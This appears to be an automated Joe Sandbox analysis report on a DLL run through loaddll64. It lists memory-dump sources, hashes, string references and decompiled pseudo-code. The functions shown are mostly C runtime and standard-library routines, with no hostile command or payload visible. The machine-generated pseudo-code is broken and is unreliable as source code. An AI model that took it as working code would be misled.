Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: +s$l@-T$pN$x+MS
API String ID: 0-3074933293
Opcode ID: 81be9b45353ead76c9a7b6c7e167c5c32a8ae5faee5dc8465e9a6d9c4c43a028
Instruction ID: e901c82c2c3415e94c79d9569d7d5064836046090d2f5b38374df02bf067750a
Opcode Fuzzy Hash: 81be9b45353ead76c9a7b6c7e167c5c32a8ae5faee5dc8465e9a6d9c4c43a028
Instruction Fuzzy Hash: A991597160074D8BEB59CF28C89A6DE3BA1FB58398F51422CFC4A97290CB78D655CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B1E0 Relevance: 4.1, Strings: 3, Instructions: 302COMMON

Download Yara Rule

Strings

m)7, xrefs: 000000018000B456
m[+, xrefs: 000000018000B7C8
\, xrefs: 000000018000B6EF

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: \$m[+$m)7
API String ID: 0-1435720626
Opcode ID: af10a5be19bd77cf0563b38453e590c7ca23ba3a925fd2c55e2086c6d71307a8
Instruction ID: 883ce2ee539239a1f536d03f946b290b5c9bffedac0f26b385fd5492cb17272a
Opcode Fuzzy Hash: af10a5be19bd77cf0563b38453e590c7ca23ba3a925fd2c55e2086c6d71307a8
Instruction Fuzzy Hash: C002F6715083C88BEBFADF64C8897DE7BACFB54708F104619EA0A9E298DB745744CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800038DC Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

8, xrefs: 0000000180003A1F
x+MS, xrefs: 00000001800039C2

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: x+MS$8
API String ID: 0-2879286383
Opcode ID: 0b36e420fc5be994054ff9bd7cd914dceaa5a559053905e74aaceefae8f335f5
Instruction ID: 069f65542df350c22b25c5b11342d601f1728201a4aced1865a094658918a1cd
Opcode Fuzzy Hash: 0b36e420fc5be994054ff9bd7cd914dceaa5a559053905e74aaceefae8f335f5
Instruction Fuzzy Hash: 42413B7050074D8BEB49CF28C88A6DE3FA1FB18398F61421DFD4A96290D778D598CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009144 Relevance: 2.6, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

pr, xrefs: 00000001800091CC
'7, xrefs: 0000000180009152

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: '7$pr
API String ID: 0-1984906187
Opcode ID: 056c662d811a8c845d4963eb3dfda1ff298b6ec1510e4f1f57fedda2cc0e9922
Instruction ID: a51af08d5e019336a09e0604cbee0951de86a06f6bb7dc6101bcf2cec172da0b
Opcode Fuzzy Hash: 056c662d811a8c845d4963eb3dfda1ff298b6ec1510e4f1f57fedda2cc0e9922
Instruction Fuzzy Hash: A031C2B05187818BD358CFA8C48A51AFBF5BBC6344F104A1DF9C2866A0D7F5D946CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009E38 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

{6, xrefs: 000000018000A051

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: {6
API String ID: 0-1346941803
Opcode ID: 8506dbb6b1252c503813ed30af6b5c4e6b9b4570125e6fd192f6fa1e5665ff7b
Instruction ID: 4f9844d0cd30e9af067f9ce6bd73810c55f6bc83b648b6efbf776691940ba2a0
Opcode Fuzzy Hash: 8506dbb6b1252c503813ed30af6b5c4e6b9b4570125e6fd192f6fa1e5665ff7b
Instruction Fuzzy Hash: FA8126B09047098BDF48DFA8C4865EEBBF0FB48358F15821DE80AB7291D7789945CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180020454 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

1, xrefs: 000000018002050B

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID:
String ID: 1
API String ID: 0-4267224553
Opcode ID: 14ae2c29f1f0adff71999c81ec21c279a8b8cf5828faf7ab2494e8710ca5a4c5
Instruction ID: f864b420d3f879fa0c4a6b1c1884d968131e299f1c3c71a38cb5ded6753929e5
Opcode Fuzzy Hash: 14ae2c29f1f0adff71999c81ec21c279a8b8cf5828faf7ab2494e8710ca5a4c5
Instruction Fuzzy Hash: 4881FE705087848FD779DF28C59A6DEBBF1FB89704F004A1DEA8A8B260D7769905CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E4194 Relevance: 18.1, APIs: 12, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FFE7FFE354E4194(void* __edx) {
				void* _t5;

				_t5 = __edx;
				if (_t5 == 0) goto 0x354e41d5;
				if (_t5 == 0) goto 0x354e41c9;
				if (_t5 == 0) goto 0x354e41bc;
				if (__edx == 1) goto 0x354e41b5;
				return 1;
			}

0x7ffe354e4198
0x7ffe354e419a
0x7ffe354e419f
0x7ffe354e41a4
0x7ffe354e41a9
0x7ffe354e41b4

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE354E41BC
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE354E4211
__scrt_fastfail.LIBCMT ref: 00007FFE354E422D
_RTC_Initialize.LIBCMT ref: 00007FFE354E4245
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FFE354E4267
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE354E4283
__scrt_release_startup_lock.LIBCMT ref: 00007FFE354E42AE
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FFE354E42CD

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_is_nonwritable_in_current_image__scrt_release_startup_lock
String ID:
API String ID: 3885183344-0
Opcode ID: ec243dcbcff698803e31ef63cfb55d7716ebdb7e47eb3b9e43d512bdeea0bc95
Instruction ID: 82326a8b98bc90c18881478f71de38e385dae62021bd7ceb61310c4b0a641baa
Opcode Fuzzy Hash: ec243dcbcff698803e31ef63cfb55d7716ebdb7e47eb3b9e43d512bdeea0bc95
Instruction Fuzzy Hash: 78515830E0834395FA58AB61B84D2B96FA0AFC5F80F664075E94F477B7DE2CB945A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1580 Relevance: 10.6, APIs: 7, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00007FFE7FFE354E1580(long long __rcx, long long __rdx, long long _a8, void* _a16) {
				char _v16;
				char _v24;
				long long _v32;
				void* _v40;
				long long _v48;
				long long _v56;
				void* _t41;
				intOrPtr* _t49;
				void* _t77;

				_a16 = __rdx;
				_a8 = __rcx;
				_v32 = 0xfffffffe;
				_t49 = _a16;
				if (_a8 == _t49) goto 0x354e1693;
				r8d = 0;
				E00007FFE7FFE354E1910(1, _t49, _a8, _t77); // executed
				if (0 == 1) goto 0x354e160a;
				E00007FFE7FFE354E1850(_a16);
				_v56 = _t49;
				E00007FFE7FFE354E1850(_a8);
				if ((E00007FFE7FFE354E2A50(_t49, _v56) & 0x000000ff) == 0) goto 0x354e160a;
				E00007FFE7FFE354E1850(_a16);
				E00007FFE7FFE354E1870(_t49, _a8, _t49);
				E00007FFE7FFE354E1850(_a16);
				_v48 = _t49;
				E00007FFE7FFE354E1850(_a8);
				if ((E00007FFE7FFE354E2A50(_t49, _v48) & 0x000000ff) == 0) goto 0x354e167a;
				E00007FFE7FFE354E1A20(_t49, _a16,  &_v24);
				_v40 = _t49;
				E00007FFE7FFE354E1AA0(_t49, _a16,  &_v16);
				_t41 = E00007FFE7FFE354E2A90(E00007FFE7FFE354E2A50(_t49, _v48) & 0x000000ff, _t49, _a8,  *_t49,  *_v40);
				goto 0x354e1693;
				E00007FFE7FFE354E2B00(_t41, _a16);
				return E00007FFE7FFE354E1F00(_t49, _a8, _t49);
			}

0x7ffe354e1580
0x7ffe354e1585
0x7ffe354e158e
0x7ffe354e1597
0x7ffe354e15a1
0x7ffe354e15a7
0x7ffe354e15b1
0x7ffe354e15bc
0x7ffe354e15c3
0x7ffe354e15c9
0x7ffe354e15d3
0x7ffe354e15ef
0x7ffe354e15f6
0x7ffe354e1604
0x7ffe354e160f
0x7ffe354e1615
0x7ffe354e161f
0x7ffe354e163b
0x7ffe354e1647
0x7ffe354e164d
0x7ffe354e165c
0x7ffe354e1672
0x7ffe354e1678
0x7ffe354e167f
0x7ffe354e169c

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E15C3
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E15D3
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E15F6

Part of subcall function 00007FFE354E1870: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1883

Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00007FFE354E15E4

Part of subcall function 00007FFE354E2A50: type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E2A68

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E160F
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E161F
Concurrency::details::HardwareAffinity::operator!=.LIBCMTD ref: 00007FFE354E1630

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::$EmptyQueue::StructuredWork$Affinity::operator!=Hardware$type_info::_name_internal_method
String ID:
API String ID: 1937815552-0
Opcode ID: 954c333ac2df008955a029cb14cb6a55c87b09566746746b3e5b77c9ccfd621f
Instruction ID: 9a76df214acadf20cfd454b0c92fb177a8ede6ef053137f59d7faa77bf0fa5c6
Opcode Fuzzy Hash: 954c333ac2df008955a029cb14cb6a55c87b09566746746b3e5b77c9ccfd621f
Instruction Fuzzy Hash: 1B31EE31A9DB8681DA14EB22E45547EAB51FBC5FD0F116535EA8F837BACE2CE4009B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E2600 Relevance: 9.1, APIs: 6, Instructions: 114
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E00007FFE7FFE354E2600(long long __rcx, signed int __rdx, long long __r8, long long _a8, signed int _a16, long long _a24) {
				long long _v24;
				long long _v32;
				long long _v40;
				void* _v64;
				long long _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				char _v112;
				signed long long _v120;
				void* _t82;
				signed long long _t111;
				intOrPtr* _t113;
				intOrPtr* _t114;
				long long _t115;
				intOrPtr* _t116;
				intOrPtr* _t117;
				signed long long _t118;
				long long _t120;
				long long* _t121;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v24 = 0xfffffffe;
				_t111 = _a16 | 0x0000000f;
				_v120 = _t111;
				E00007FFE7FFE354E2830(_t111, _a8);
				if (_t111 - _v120 >= 0) goto 0x354e2659;
				_v120 = _a16;
				goto 0x354e2736;
				_t113 = _v120;
				_v104 = _t113;
				E00007FFE7FFE354E2150(_t113, _a8);
				_t114 =  *_t113;
				if (_t114 - _v104 > 0) goto 0x354e2696;
				goto 0x354e2736;
				E00007FFE7FFE354E2150(_t114, _a8);
				_t115 =  *_t114;
				_v96 = _t115;
				E00007FFE7FFE354E2830(_t115, _a8);
				_t116 = _t115 - _v96;
				_v88 = _t116;
				E00007FFE7FFE354E2150(_t116, _a8);
				if ( *_t116 - _v88 > 0) goto 0x354e2724;
				E00007FFE7FFE354E2150(_t116, _a8);
				_t117 =  *_t116;
				_v80 = _t117;
				E00007FFE7FFE354E2150(_t117, _a8);
				_t118 = _v80 +  *_t117;
				_v120 = _t118;
				goto 0x354e2736;
				E00007FFE7FFE354E2830(_t118, _a8);
				_v120 = _t118;
				_t120 = _v120 + 1;
				_v72 = _t120;
				E00007FFE7FFE354E1850(_a8);
				E00007FFE7FFE354E28E0(_t120, _v72); // executed
				_v64 = _t120;
				_t121 = _v64;
				_v112 = _t121;
				goto 0x354e2771;
				if (_a24 <= 0) goto 0x354e27b0;
				_t82 = E00007FFE7FFE354E18F0(_t121, _a8);
				_v40 = _t121;
				E00007FFE7FFE354E2C00(_t82, _v112);
				E00007FFE7FFE354E11E0(_t121, _v40, _a24);
				r8d = 0;
				E00007FFE7FFE354E1910(1, _t121, _a8, _a24);
				E00007FFE7FFE354E2BC0(E00007FFE7FFE354E2190(_a8), _t121);
				_v32 = _t121;
				E00007FFE7FFE354E1850(_a8);
				E00007FFE7FFE354E2C10(_t121, _t121, _v32,  &_v112);
				E00007FFE7FFE354E2150(_t121, _a8);
				 *_t121 = _v120;
				return E00007FFE7FFE354E23A0(_t121, _a8, _a24);
			}

0x7ffe354e2600
0x7ffe354e2605
0x7ffe354e260a
0x7ffe354e2616
0x7ffe354e262a
0x7ffe354e262e
0x7ffe354e263b
0x7ffe354e2645
0x7ffe354e264f
0x7ffe354e2654
0x7ffe354e265b
0x7ffe354e2668
0x7ffe354e2675
0x7ffe354e267c
0x7ffe354e268f
0x7ffe354e2691
0x7ffe354e269e
0x7ffe354e26a5
0x7ffe354e26b0
0x7ffe354e26bd
0x7ffe354e26c7
0x7ffe354e26ca
0x7ffe354e26d7
0x7ffe354e26e4
0x7ffe354e26ee
0x7ffe354e26f5
0x7ffe354e2700
0x7ffe354e270d
0x7ffe354e271a
0x7ffe354e271d
0x7ffe354e2722
0x7ffe354e272c
0x7ffe354e2731
0x7ffe354e273b
0x7ffe354e273e
0x7ffe354e274b
0x7ffe354e275b
0x7ffe354e2760
0x7ffe354e2765
0x7ffe354e276a
0x7ffe354e276f
0x7ffe354e277a
0x7ffe354e2784
0x7ffe354e2789
0x7ffe354e2793
0x7ffe354e27ab
0x7ffe354e27b0
0x7ffe354e27bd
0x7ffe354e27d2
0x7ffe354e27d7
0x7ffe354e27e4
0x7ffe354e27f9
0x7ffe354e2806
0x7ffe354e2810
0x7ffe354e282f

APIs

Part of subcall function 00007FFE354E2830: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E283E
Part of subcall function 00007FFE354E2830: Concurrency::details::SchedulerBase::ThrottlerDispatchBridge.LIBCMTD ref: 00007FFE354E284B

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E274B
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E275B
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E2784
char_traits.LIBCPMTD ref: 00007FFE354E27AB
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E27E4
construct.LIBCPMTD ref: 00007FFE354E27F9

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::$Work$EmptyQueue::Structured$Base::$BridgeContextDispatchIdentityQueueSchedulerThrottlerchar_traitsconstructtype_info::_name_internal_method
String ID:
API String ID: 3284725307-0
Opcode ID: 64b4fcb419f68d04f760d19031f3ab5cdc5356945a98713b59a62d6a36c812a5
Instruction ID: e8229120fa2fccd8383c38a50fc725730c8942d1c1c5da2b23b11319f8737ade
Opcode Fuzzy Hash: 64b4fcb419f68d04f760d19031f3ab5cdc5356945a98713b59a62d6a36c812a5
Instruction Fuzzy Hash: B051FA32A1DB8685DA64DB51E8553AEB760FBC9F80F510135EACE87BA9CF7CD4009B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EBA4C Relevance: 9.1, APIs: 6, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBA5B
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBA91
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBABE
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBACF
FlsSetValue.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBAE0
SetLastError.KERNEL32(?,?,?,00007FFE354EB429,?,?,?,?,00007FFE354F0426,?,?,00000000,00007FFE354ED8B7,?,?,?), ref: 00007FFE354EBAFB

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: e0883a567a9e29bbbb1b83d6b87fb9bd1dcc803791e6801ea57a03ec04fde850
Instruction ID: b1cf12b641e8d7c6bfd69a66fdc1b87957b035af61951a083dc6f343914203fa
Opcode Fuzzy Hash: e0883a567a9e29bbbb1b83d6b87fb9bd1dcc803791e6801ea57a03ec04fde850
Instruction Fuzzy Hash: B7115B30A4D74346FA2C6762995E1392A525FC4FA0F264A38D83F077F6DE2CB4416200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1910 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00007FFE7FFE354E1910(signed char __edx, intOrPtr* __rax, long long __rcx, long long __r8, long long _a8, signed char _a16, long long _a24) {
				long long _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				void* _t32;
				intOrPtr* _t47;
				long long* _t49;

				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				if ((_a16 & 0x000000ff) != 0) goto 0x354e1930;
				goto 0x354e19f1;
				E00007FFE7FFE354E2150(__rax, _a8);
				if ( *((long long*)(__rax)) - 0x10 < 0) goto 0x354e19f1;
				E00007FFE7FFE354E2190(_a8);
				_t47 =  *((intOrPtr*)(__rax));
				_v40 = _t47;
				E00007FFE7FFE354E2BC0(E00007FFE7FFE354E2190(_a8), _t47);
				_v32 = _t47;
				E00007FFE7FFE354E1850(_a8);
				_t32 = E00007FFE7FFE354E2BD0(_t47, _v32);
				if (_a24 <= 0) goto 0x354e19bd;
				E00007FFE7FFE354E2C00(_t32, _v40);
				_v24 = _t47;
				E00007FFE7FFE354E2190(_a8);
				E00007FFE7FFE354E11E0(_t47, _v24, _a24);
				E00007FFE7FFE354E2150(_t47, _a8);
				_t49 =  *_t47 + 1;
				_v16 = _t49;
				E00007FFE7FFE354E1850(_a8);
				E00007FFE7FFE354E2100(_t49, _v40, _v16); // executed
				E00007FFE7FFE354E2150(_t49, _a8);
				 *_t49 = 0xf;
				return E00007FFE7FFE354E23A0(_t49, _a8, _a24);
			}

0x7ffe354e1910
0x7ffe354e1915
0x7ffe354e1919
0x7ffe354e1929
0x7ffe354e192b
0x7ffe354e1935
0x7ffe354e193e
0x7ffe354e1949
0x7ffe354e194e
0x7ffe354e1951
0x7ffe354e1963
0x7ffe354e1968
0x7ffe354e1972
0x7ffe354e1982
0x7ffe354e198d
0x7ffe354e1994
0x7ffe354e1999
0x7ffe354e19a3
0x7ffe354e19b8
0x7ffe354e19c2
0x7ffe354e19ca
0x7ffe354e19cd
0x7ffe354e19d7
0x7ffe354e19ec
0x7ffe354e19f6
0x7ffe354e19fb
0x7ffe354e1a15

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1972
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E1982
char_traits.LIBCPMTD ref: 00007FFE354E19B8
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E19D7
_aligned_msize.LIBCMTD ref: 00007FFE354E19EC

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$_aligned_msizechar_traitstype_info::_name_internal_method
String ID:
API String ID: 2899389904-0
Opcode ID: d6a9ae3060159eb32e1333261476f0ce7afd758758ec1d3e09a9f36619dac840
Instruction ID: 2c6a6da881d864c01fe2f91ecc3896e1cb7571e548577668657024531ddcde3f
Opcode Fuzzy Hash: d6a9ae3060159eb32e1333261476f0ce7afd758758ec1d3e09a9f36619dac840
Instruction Fuzzy Hash: CF21AA32A1CB8281DA14EB52E85927EEB60FBC5FD0F111435FA8F4776ACEACD5409B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E13A0 Relevance: 7.6, APIs: 5, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00007FFE7FFE354E13A0(signed int __eax, long long __rcx, signed int __rdx, signed long long __r8, long long _a8, signed int _a16, signed long long _a24) {
				void* _v16;
				signed long long _v24;
				long long _v32;
				signed int _v40;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if (_a16 - 0xffffffff <= 0) goto 0x354e13cd;
				E00007FFE7FFE354E9764();
				_v24 = _a16 * _a24;
				if (_v24 - 0x1000 < 0) goto 0x354e1475;
				_v40 = _a8;
				if ((_v40 & 0x0000001f) == 0) goto 0x354e1409;
				E00007FFE7FFE354E9764();
				_v16 = _v40 - 8;
				_v32 =  *_v16;
				if (_v32 - _v40 < 0) goto 0x354e1435;
				E00007FFE7FFE354E9764();
				if (_v40 - _v32 - 8 >= 0) goto 0x354e1450;
				E00007FFE7FFE354E9764();
				if (_v40 - _v32 - 0x27 <= 0) goto 0x354e146b;
				E00007FFE7FFE354E9764();
				_a8 = _v32;
				0x354e4184(); // executed
				return __eax / _a24;
			}

0x7ffe354e13a0
0x7ffe354e13a5
0x7ffe354e13aa
0x7ffe354e13c6
0x7ffe354e13c8
0x7ffe354e13d8
0x7ffe354e13e6
0x7ffe354e13f1
0x7ffe354e1402
0x7ffe354e1404
0x7ffe354e1412
0x7ffe354e141f
0x7ffe354e142e
0x7ffe354e1430
0x7ffe354e1449
0x7ffe354e144b
0x7ffe354e1464
0x7ffe354e1466
0x7ffe354e1470
0x7ffe354e147a
0x7ffe354e1483

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E13C8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E1404
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E1430
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E144B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE354E1466

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 5b3810bd1dfc2f7cb2c35ba7318fdc2941c7d859428b9d04d3661772caa0df3a
Instruction ID: 0d92a9d961892018dda14c78097cbe83efc4f790c6491f67ff990edf2b07703c
Opcode Fuzzy Hash: 5b3810bd1dfc2f7cb2c35ba7318fdc2941c7d859428b9d04d3661772caa0df3a
Instruction Fuzzy Hash: D0212C36618B8581DA14EB59E48411EEBA4F7C8FA4F110635EADE02BB9DF3CD1509B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F9510 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 59
memoryCOMMON

Download Yara Rule

